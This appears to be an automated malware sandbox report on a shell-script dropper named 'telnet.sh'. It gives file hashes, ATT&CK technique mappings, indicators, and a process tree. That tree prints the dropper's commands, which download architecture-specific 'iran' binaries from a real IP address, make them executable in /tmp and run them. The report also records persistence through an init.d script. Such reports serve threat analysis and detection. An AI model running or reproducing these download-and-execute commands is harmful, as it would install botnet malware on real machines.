5180925f28c24bd637c47417c1542736aa3989e7e174d885897cdce880bcda44

Analysis

max time kernel
149s
max time network
152s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20260513-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
07/09/2026, 17:50

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
telnet.sh
Size 1KB
Sample260907-werwsazyfw
SHA256 5180925f28c24bd637c47417c1542736aa3989e7e174d885897cdce880bcda44
MD5 388cfc6db7c74f1054d307a8919c5cf1
SHA1 74cf6bf634399f402ec1f2f0eeddd7a139971559
SHA512 c4386d39eda69bd2e7a37afc05fab65ff0f9a78ab253a5a6d7d50df14ffa050f0952e30b768e93baeff61ee75ff72777d272acab835fa35d9509dffe33ce504e
TLSH
T11931F48932B07E71C59EEF05B0E5C2D4A247F5C4B6930BF2E4C21CA168D9F88B855B36
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery persistence

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 14 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1513	chmod
1526	chmod
1542	chmod
1563	chmod
1578	chmod
1596	chmod
1600	chmod
1604	chmod
1538	chmod
1547	chmod
1556	chmod
1569	chmod
1582	chmod
1614	chmod

Executes dropped EXE 14 IoCs

ioc	pid	Process
/tmp/x86_64	1514	telnet.sh
/tmp/aarch64	1527	telnet.sh
/tmp/m68k	1539	telnet.sh
/tmp/mips	1543	telnet.sh
/tmp/mipsel	1548	telnet.sh
/tmp/powerpc	1557	telnet.sh
/tmp/sparc	1564	telnet.sh
/tmp/sh4	1570	telnet.sh
/tmp/arc	1579	telnet.sh
/tmp/i486	1583	telnet.sh
/tmp/armv4l	1597	telnet.sh
/tmp/armv5l	1601	telnet.sh
/tmp/armv6l	1605	telnet.sh
/tmp/armv7l	1615	telnet.sh

Enumerates running processes
Discovers information about currently running processes on the system

Modifies init.d 2 TTPs 2 IoCs

Adds/modifies system service, likely for persistence.

persistence

Boot or Logon Autostart Execution

T1547

RC Scripts

T1037.004

description	ioc	Process
File opened for modification	/etc/init.d/xs.main	x86_64
File opened for modification	/etc/init.d/xs.main	i486

Changes its process name 2 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	-sh	1517	x86_64
Changes the process name, possibly in an attempt to hide itself	-sh	1586	i486

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/918/comm	x86_64
File opened for reading	/proc/665/task/665/children	x86_64
File opened for reading	/proc/689/stat	x86_64
File opened for reading	/proc/689/status	x86_64
File opened for reading	/proc/689/comm	i486
File opened for reading	/proc/913/stat	i486
File opened for reading	/proc/1041/comm	x86_64
File opened for reading	/proc/168/status	x86_64
File opened for reading	/proc/1517/comm	i486
File opened for reading	/proc/9/comm	x86_64
File opened for reading	/proc/1164/comm	x86_64
File opened for reading	/proc/1552/stat	x86_64
File opened for reading	/proc/513/cmdline	i486
File opened for reading	/proc/1503/exe	i486
File opened for reading	/proc/174/status	x86_64
File opened for reading	/proc/493/comm	i486
File opened for reading	/proc/1084/status	i486
File opened for reading	/proc/1589/stat	i486
File opened for reading	/proc/476/comm	x86_64
File opened for reading	/proc/10/cmdline	x86_64
File opened for reading	/proc/1102/stat	x86_64
File opened for reading	/proc/1322/cmdline	x86_64
File opened for reading	/proc/979/comm	x86_64
File opened for reading	/proc/23/cmdline	x86_64
File opened for reading	/proc/534/status	x86_64
File opened for reading	/proc/1033/stat	x86_64
File opened for reading	/proc/165/cmdline	i486
File opened for reading	/proc/178/cmdline	x86_64
File opened for reading	/proc/1045/cmdline	x86_64
File opened for reading	/proc/1101/stat	x86_64
File opened for reading	/proc/911/comm	i486
File opened for reading	/proc/12/cmdline	i486
File opened for reading	/proc/169/status	i486
File opened for reading	/proc/172/stat	i486
File opened for reading	/proc/474/comm	x86_64
File opened for reading	/proc/1509/comm	x86_64
File opened for reading	/proc/24/cmdline	x86_64
File opened for reading	/proc/168/stat	x86_64
File opened for reading	/proc/1102/status	x86_64
File opened for reading	/proc/25/status	x86_64
File opened for reading	/proc/502/status	x86_64
File opened for reading	/proc/81/comm	i486
File opened for reading	/proc/10/stat	i486
File opened for reading	/proc/81/cmdline	i486
File opened for reading	/proc/160/status	x86_64
File opened for reading	/proc/1107/status	x86_64
File opened for reading	/proc/1107/cmdline	x86_64
File opened for reading	/proc/1469/stat	x86_64
File opened for reading	/proc/9/comm	i486
File opened for reading	/proc/1063/comm	i486
File opened for reading	/proc/1068/comm	i486
File opened for reading	/proc/167/stat	i486
File opened for reading	/proc/22/stat	x86_64
File opened for reading	/proc/173/cmdline	x86_64
File opened for reading	/proc/1164/stat	x86_64
File opened for reading	/proc/1503/stat	x86_64
File opened for reading	/proc/24/comm	i486
File opened for reading	/proc/32/stat	i486
File opened for reading	/proc/82/status	i486
File opened for reading	/proc/167/cmdline	i486
File opened for reading	/proc/1163/comm	x86_64
File opened for reading	/proc/8/stat	x86_64
File opened for reading	/proc/171/exe	x86_64
File opened for reading	/proc/1079/cmdline	x86_64

System Network Configuration Discovery 1 TTPs 5 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1548	mipsel
1541	wget
1543	mips
1545	wget
1546	curl

Writes file to tmp directory 17 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/m68k	wget
File opened for modification	/tmp/mipsel	wget
File opened for modification	/tmp/powerpc	wget
File opened for modification	/tmp/sparc	curl
File opened for modification	/tmp/arc	wget
File opened for modification	/tmp/armv4l	wget
File opened for modification	/tmp/armv5l	wget
File opened for modification	/tmp/armv6l	wget
File opened for modification	/tmp/x86_64	wget
File opened for modification	/tmp/aarch64	wget
File opened for modification	/tmp/mips	wget
File opened for modification	/tmp/sparc	wget
File opened for modification	/tmp/sh4	wget
File opened for modification	/tmp/i486	wget
File opened for modification	/tmp/armv7l	wget
File opened for modification	/tmp/mipsel	curl
File opened for modification	/tmp/m68k	curl

/tmp/telnet.sh
/tmp/telnet.sh
1⤵
- Executes dropped EXE
PID:1509
- /usr/bin/wget
  wget http://94.154.43.221/iran.x86_64 -O x86_64
  2⤵
  - Writes file to tmp directory
  PID:1510
- /bin/chmod
  chmod 777 x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1513
- /tmp/x86_64
  ./x86_64 telnet
  2⤵
  - Modifies init.d
  - Changes its process name
  - Reads runtime system information
  PID:1514
- /usr/bin/wget
  wget http://94.154.43.221/iran.aarch64 -O aarch64
  2⤵
  - Writes file to tmp directory
  PID:1516
- /bin/chmod
  chmod 777 aarch64
  2⤵
  - File and Directory Permissions Modification
  PID:1526
- /tmp/aarch64
  ./aarch64 telnet
  2⤵
  PID:1527
- /usr/bin/wget
  wget http://94.154.43.221/iran.m68k -O m68k
  2⤵
  - Writes file to tmp directory
  PID:1529
- /usr/bin/curl
  curl http://94.154.43.221/iran.m68k -o m68k
  2⤵
  - Writes file to tmp directory
  PID:1530
- /bin/chmod
  chmod 777 m68k
  2⤵
  - File and Directory Permissions Modification
  PID:1538
- /tmp/m68k
  ./m68k telnet
  2⤵
  PID:1539
- /usr/bin/wget
  wget http://94.154.43.221/iran.mips -O mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1541
- /bin/chmod
  chmod 777 mips
  2⤵
  - File and Directory Permissions Modification
  PID:1542
- /tmp/mips
  ./mips telnet
  2⤵
  - System Network Configuration Discovery
  PID:1543
- /usr/bin/wget
  wget http://94.154.43.221/iran.mipsel -O mipsel
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1545
- /usr/bin/curl
  curl http://94.154.43.221/iran.mipsel -o mipsel
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1546
- /bin/chmod
  chmod 777 mipsel
  2⤵
  - File and Directory Permissions Modification
  PID:1547
- /tmp/mipsel
  ./mipsel telnet
  2⤵
  - System Network Configuration Discovery
  PID:1548
- /usr/bin/wget
  wget http://94.154.43.221/iran.powerpc -O powerpc
  2⤵
  - Writes file to tmp directory
  PID:1550
- /bin/chmod
  chmod 777 powerpc
  2⤵
  - File and Directory Permissions Modification
  PID:1556
- /tmp/powerpc
  ./powerpc telnet
  2⤵
  PID:1557
- /usr/bin/wget
  wget http://94.154.43.221/iran.sparc -O sparc
  2⤵
  - Writes file to tmp directory
  PID:1559
- /usr/bin/curl
  curl http://94.154.43.221/iran.sparc -o sparc
  2⤵
  - Writes file to tmp directory
  PID:1562
- /bin/chmod
  chmod 777 sparc
  2⤵
  - File and Directory Permissions Modification
  PID:1563
- /tmp/sparc
  ./sparc telnet
  2⤵
  PID:1564
- /usr/bin/wget
  wget http://94.154.43.221/iran.sh4 -O sh4
  2⤵
  - Writes file to tmp directory
  PID:1566
- /bin/chmod
  chmod 777 sh4
  2⤵
  - File and Directory Permissions Modification
  PID:1569
- /tmp/sh4
  ./sh4 telnet
  2⤵
  PID:1570
- /usr/bin/wget
  wget http://94.154.43.221/iran.arc -O arc
  2⤵
  - Writes file to tmp directory
  PID:1572
- /bin/chmod
  chmod 777 arc
  2⤵
  - File and Directory Permissions Modification
  PID:1578
- /tmp/arc
  ./arc telnet
  2⤵
  PID:1579
- /usr/bin/wget
  wget http://94.154.43.221/iran.i486 -O i486
  2⤵
  - Writes file to tmp directory
  PID:1581
- /bin/chmod
  chmod 777 i486
  2⤵
  - File and Directory Permissions Modification
  PID:1582
- /tmp/i486
  ./i486 telnet
  2⤵
  - Modifies init.d
  - Changes its process name
  - Reads runtime system information
  PID:1583
- /usr/bin/wget
  wget http://94.154.43.221/iran.armv4l -O armv4l
  2⤵
  - Writes file to tmp directory
  PID:1585
- /bin/chmod
  chmod 777 armv4l
  2⤵
  - File and Directory Permissions Modification
  PID:1596
- /tmp/armv4l
  ./armv4l telnet
  2⤵
  PID:1597
- /usr/bin/wget
  wget http://94.154.43.221/iran.armv5l -O armv5l
  2⤵
  - Writes file to tmp directory
  PID:1599
- /bin/chmod
  chmod 777 armv5l
  2⤵
  - File and Directory Permissions Modification
  PID:1600
- /tmp/armv5l
  ./armv5l telnet
  2⤵
  PID:1601
- /usr/bin/wget
  wget http://94.154.43.221/iran.armv6l -O armv6l
  2⤵
  - Writes file to tmp directory
  PID:1603
- /bin/chmod
  chmod 777 armv6l
  2⤵
  - File and Directory Permissions Modification
  PID:1604
- /tmp/armv6l
  ./armv6l telnet
  2⤵
  PID:1605
- /usr/bin/wget
  wget http://94.154.43.221/iran.armv7l -O armv7l
  2⤵
  - Writes file to tmp directory
  PID:1607
- /bin/chmod
  chmod 777 armv7l
  2⤵
  - File and Directory Permissions Modification
  PID:1614
- /tmp/armv7l
  ./armv7l telnet
  2⤵
  PID:1615

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Boot or Logon Initialization Scripts

T1037

RC Scripts

T1037.004

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Boot or Logon Initialization Scripts

T1037

RC Scripts

T1037.004

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

xs.main

Path /etc/init.d/xs.main
Size 26B
SHA256 1e086908fc257d9bee94b70e2bea5a170e5284ec3dd21d5c132030c5ea2f2757
MD5 5e9b61eac37c021450fb6bef824d0c51
SHA1 ddd2822e7a59eb3e60962cd5070422c0d2633807
SHA512 7dee5332d35a9f4f4cf681e598f7b8486baf8820a2cc61222d93da7cd314782c50c6175db229e5beba56b79c8985a304e79ae00bb5ea615689ad77d9068fb93b
MD5 SHA1 SHA512

Submit Download

aarch64

Path /tmp/aarch64
Size 189KB
SHA256 e102ee5bbf9282a4c5f5b38c5554668eefc67a9782004631d1aa837e18dfe159
MD5 62d3e5b809d6b34e9452da5c798f0681
SHA1 59945e08c8d843a1e88fb32611aada3c7a934e9f
SHA512 2a7aa5a8c8e84daea8c9f26562202f10de81d7d7af72dc5eeaef20fb2384165046bf963d2656c1e1ce5a76422d222fd1b173016d43bc5e785d43f4ce6ee2575a
SSDEEP 3072:0X0UL+Y0hb0ftruRL4TyqlHwz7I2awSg719gTMEE67LUq:UdL+Ygb0ftruRMTnHwz7Ir8TgTO67LUq
TLSH
T19D146AA9BA0F6C41F1C2D3F8DE8C87E13E1B35E3C7368971791212ECDAA39D95990512
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

arc

Path /tmp/arc
Size 153KB
SHA256 b5099a274a6192b76e132488df1a051b2e6ccb68fc916901ddf73ef9d0f01fe2
MD5 0efaa29a4ddaa1ae401c9692c3829d0d
SHA1 f56034911c21ea4cae0fb4071c8a786cf6c72716
SHA512 c97351a59b0ec4184cf107d5141b6b2718d04f783d57664c0705a45c0526452106faa6131cf92e7290651ad1c90cd1d80047a3dc42b9816c891b45c91e1c3659
SSDEEP 3072:Xxv5yfUhfN8RtoZnGhTNLhs7LTT+RCQX3XqbpygZCBrWOG4u5Otq:XpEfUhfW3oMJLi7L+B3a9FCBrY43tq
TLSH
T1BAF3AF67B34B5050C4E44AF41BCF5BAD292721008E7B99E77C6E723A6A775CB28073E1
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

armv4l

Path /tmp/armv4l
Size 153KB
SHA256 f692af11faa6ec2919d9269d28c7a962ee970f6199e92ad85676255bd5f8b91c
MD5 5925ca46e3f602f92b96abbf242989c9
SHA1 ae2ed7ec46196ea2d5430cd67e4d605b61bf2b1f
SHA512 0d268a33112f61940cfb1b892db68f22868f44d7f09abacc835b7833734654292edfb1313c9af2544fff50aee7a570ec56ee39a7bd1b3198d49890fede600ab7
SSDEEP 3072:smpaNJnxpej0LmzYqNyB6wvk4JX1DRextqziQcS:smpaNJnxpejlVwB6wvxJX1teH+iQcS
TLSH
T1DCF30745BD518B16C6D262BBFF4D428C7B2A1768D3EE31039D295F60378B96B0E3B142
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

armv5l

Path /tmp/armv5l
Size 150KB
SHA256 51ac3c75c8583cffc3f61777a7af6e4b068dcf7698ab89c89a57f15fab59bf18
MD5 f3231196d4c967f538e5d9b1352d7b80
SHA1 5e7931a7ce9e97f9c44f2b54b027c34c6e40ca4c
SHA512 4522a14d87b47ab98b5f95a08954d88db29cf41e1702c90f0e082c98e3baf37f11d7b06e8fa587dd29370dde550b93b39f09cdb93a7033b0e0be82c8680c2ed4
SSDEEP 3072:3OtstuCDxzd9TOBDZf9Qq94cZwiSXUtgKh8J7/8ZMEhB8:3+stuCDxzd9qFfDCcZwiAUtgKqJIZHh+
TLSH
T1ACE30845FC518B16C6C662BBFF4E428D772A5768D3EE320399256F20378B96B0E3B141
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

armv6l

Path /tmp/armv6l
Size 165KB
SHA256 e29c40498d1e2b650e65855ab7051475e4aa6bc54e9b0d8352dda798c5aba339
MD5 5a46ab02306238eac697ba327079e449
SHA1 04084d2548f231c26cbc9be8275dbc5208f80ea6
SHA512 f73059b14077cd54920f6bc3dcb3d9b08d1a3c67f8372f6b5e16591615da9bb80d59855729e6af1ebf4704037a20f155ccf07a1f5afa69d5600536769922eb79
SSDEEP 3072:Oo0R0M1GwnMVqH8VMFU79wfmPtK93ura4hCG3yx67uk6nD2c62+hsz:Oo0R0M1GwnMVO+MFwCOPtU3oaKCMl7u3
TLSH
T18DF31A56F9819B11C5C156BAFF0E528D73231B78E2DE72129E246B347B8A87B0E3B015
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

armv7l

Path /tmp/armv7l
Size 142KB
SHA256 699848a33a1808fe612ce4e2e1f1bb292546509b3939c56b6842e315ad02d731
MD5 c16b9c0f10125b96a0236f1f0dcc6dc8
SHA1 63d3f3556148769f9a5b8f4419e5d425003ff9ac
SHA512 c6aabd9f60a417d1120cdb0158c4f9af74ce6f67c2c224ceb526d58c42b145f4339cdab76b55cdadebff6079d91a4bd5dd1159c25b0a51d5c363aed559676f89
SSDEEP 3072:6nZpD+/4jw0P4GmyvC/frevbzQpgMCa5bo0nIQc0r9vI2mmCULXJWciq0:6nZpD+/4jw0PpfvCazzQvCalfnIQc0rM
TLSH
T1B0E30749ED42AB00D5D636FAFE4E428973535B6CE3FE71129E245B2127CA92B0F7B101
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i486

Path /tmp/i486
Size 98KB
SHA256 7bc4b2aef74456cca1499e1c6e3ce28827aa3c2d6e4a1f18cad547ad47e0b8ff
MD5 63d793118a9378ecb7367a3e838f332d
SHA1 0c37e97705968c9d581af3ac5e177c8929d4e4aa
SHA512 cfedca5d7ac20fc2740368cfe9fbb1b72ba55424e3f78a2580d262ba8dde01d9ac41a38492e284cad35e9d126b0d2beb84261d562e62f94942dedcea420ae8ac
SSDEEP 1536:rw1BTbd/0hDtZx6O/0c3Ra/oLDQ9VPJU3310vntiZvnwl7/4qKU7yHY7r:qx09tZxac3A/oLDYiClSCaY
TLSH
T144A34C86FB93E0F0D94605B1111FF77D9634EE625024DE5AEBD4BEB2AD32602921B31C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

m68k

Path /tmp/m68k
Size 177KB
SHA256 b77142d8fa79f421c402fae649e041589c6e3584e69def5789b704af6b522535
MD5 5df6afcdb7597269174e8db4345c5890
SHA1 7d31dda0c1680f1133c6d3a75ef2ae20ef0f588e
SHA512 6e52eee5d36e6b329f6e0e3c518a7c9473678b35b3c3b50dc6f7e8e2a038eaa88d6c1e809aa7854003e36cdc19e2c07eef7edc24ba71719c04c4d16986d40b60
SSDEEP 3072:T1ThamVqwyJ3XjRcirf200yvcKd34FSkGD52RVRf4grVpjbiNLEy5cBNKB:iwgx4yvjd34F7GD8V4g2LLsNKB
TLSH
T14E0429C7FD00DDBAF809E33748130809B130BBA254925A777257356FED3A295197BE8A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

mips

Path /tmp/mips
Size 204KB
SHA256 dea6d274c1c7c34d160bd12c87a27ef5c5edb1f4934c4557bb54f1857c7be360
MD5 cf26cb3649dfddd2e4f7716eddba2677
SHA1 fb162e95a305bfeaf0530c2293be1235f2dfa781
SHA512 a8bd0de40ae2670aad27eaf541df0a25f6973686952ed20558bb99dbdfb082d5e14f1c6f2696fc85c4db802fd95e636856a6dca27443f9fb339ea42478e892b7
SSDEEP 3072:sPvQqinW06qBVrDuQ5SPkCekMcJXs9op/rziAKom:swqinW06I1DA81qJQ2/rvKom
TLSH
T10424955E6A328F7DF368873447B74A35975D22D627E1DA84E2ACC1041F2434E681FFA8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

mipsel

Path /tmp/mipsel
Size 12KB
SHA256 d30077af1f9c64891070e0afb6171834a02d430dd6d2fd8a1762c8427378fca7
MD5 4b2ca8cefb2e103800b3872eceece011
SHA1 4d11819ec6f14146175dda85cbdd2bf84299f7f4
SHA512 362ce1b285746642134b7fdc9b0a0a1cabc08788a59aa2c850876f726418d813d168b2860ba690e1327a7db8912569d8d6ac9a4777f9a302b3a1aefed0e44406
SSDEEP 192:y1RVuXB8qv7MMdwVxpQYeOGICnoBjbtYoy+1bHHNXuy5DBZB4lSd:CIhMMIgvICno1tHy+1EkqlSd
TLSH
T1B34284085B611FF7FDBECD3745E82B41414D2811A29A6F3BBDB4D540BA8358E2CE3660
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

mipsel

Path /tmp/mipsel
Size 206KB
SHA256 abc54ab37e423461c6a67b7d65f342451e42fbd93e4ba83fd571c3236cfcfc25
MD5 dcc84eb0279ec87f8dc538eb38e158f7
SHA1 941059344e2944fbf7ca014463abfc8abb4fbb11
SHA512 1e0eda0ae5d1338e798d1091d4189a47a0243f2f56c722472e66f40ee86ad380b7b2095ae4b1a9ff4eb1d945c937baee8397a7d67f1e5fafbb1bb705a4f6ec80
SSDEEP 3072:PD/6gT7DbU28Mn0NawZ5aMBjv+7GYNRIO1:PDND1f08wZ5Fj6GY3IO
TLSH
T17624C60AAF610FFBD8AFDD3746E90B0635CC650722A83B3A3674D924F54A54B49D3C68
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

powerpc

Path /tmp/powerpc
Size 155KB
SHA256 7b46bce6515f1189593f7fbd7edb24ce2e152e0fbb6b57808515db882b331060
MD5 797d7923a3917a52c2eaeaa4aec7aada
SHA1 2740cf39ebbb2f38a676dcc42f11d8d9677fe6c1
SHA512 8c45c668f8626cdcc73350c2667efee72b5b1c05266054d80e5b45243f3f167d6f6cd1595ec8af9e0604129e9bca9a8083589dfdc5e6229cf5d7fe28f4f961e3
SSDEEP 3072:0v9PHxAwpHQxWFrctE3u6LVFq3tpvx6xIW:01PHJQxArcmu6LV03XwxIW
TLSH
T188F33B06B30D0947E2672EF43B3B27D1D3DF9A9121F4E744251FAA8A9172D32158ADCE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sh4

Path /tmp/sh4
Size 138KB
SHA256 b610ed02b56e1634c71f36076e61e7bf69aca774e745df6c698d5d9f470d48b8
MD5 e31de4e2007036c7117e0ddfe9c60538
SHA1 dd234d7aa09fdc593a5d14f0095e31f94368ebf4
SHA512 bfac6dbdcf57dcdbffe15f446f9155fa5f646e49c9254602c3adb7fd9672357fc833964cae1b1504dc847b06036ac6d24556400b50a156d546525b5a22e4e58e
SSDEEP 3072:5WbCJEcdQ29RHrmP71xmbdspxYNWtrcVhQTg5:5WREQuRHrmjebmo4trkQs5
TLSH
T194D35BB3D825AF58C564E6B1B0318F781B939A6082471FBE19B7C6748087DCDF6163B8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sparc

Path /tmp/sparc
Size 12KB
SHA256 b5cf22d807a3620715ca894548407e86d758b087e49df9a5bdbe8264a7125b90
MD5 cec9be7f33db94032a65dff1544a68bf
SHA1 3ed938a2306a20b257594a724b2dcf07b1671208
SHA512 753b6f50078f5f55e5a12cf40903c2c3d6f6a906d4f849ffddeefb1c569e4cb36d260320afac4d439649591ba60b660f06a382c19b3aae5cc7726b5fc73bf9b5
SSDEEP 384:t6nOVMU0Qf+ynZaeiS6EJEKYsTOTMjONG:t6jQLYeiLEKRBTMjONG
TLSH
T13F42E833C2B5491BC2D9A33620D3AA6072FE578191985BCF5E0E0E597ED7700A93D3C6
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sparc

Path /tmp/sparc
Size 42KB
SHA256 60bd242f448228391063d6a1521233087ba3602f5521f526a784d6325ffe8377
MD5 2b3455ac784e5009e22a1a5fe5ea860a
SHA1 c6a3d3f2230c3082919bb120273998da76841f37
SHA512 75dda5b28ca8d3155e80090470f3319ac1675f8b51fb56e8b03b0cd48ff8800ddfaa729b4147bf6896ebe26b7f36f00b1485b55e5c162b93dc8b91ff8619fb97
SSDEEP 768:t6jQLYeiLEKRBTMjONrElzbFjUDK1JvaVIoX4M+DoIwS3ZhP3XRcBPbM+svy:BEbMjOU1hiIoDI9JhPnmBL
TLSH
T110135D328679491BC2C0E77B11A79372E0F62B845190974F7E5A0D8EFE5A340677B3E2
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

x86_64

Path /tmp/x86_64
Size 160KB
SHA256 de1de068b151fa14fdf94ba39d0503f0ee10a05fe0f9146c43928a96db25e084
MD5 e7e5bc130cc388daf4455a9186729e04
SHA1 75ba4e170355d75bcc8bbc824a30c06590060833
SHA512 896d7524be3577312ce3567708db92e6d80b683d26a148fe484020bd214cbcfc9272c6630adf2a02f52ca6b7a7dd094bfa4c7b26065e4c53e5a916df3a68dbdd
SSDEEP 3072:wQUgH4VklB1Amd10qb8ODAhv4y1jFg+SVhKE:wZgfYOB25dcKE
TLSH
T164F35B0274D0D4FEC8E5C2B84BEFE136DA32B4595174761F23C8AE262E5DF212B6D650
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads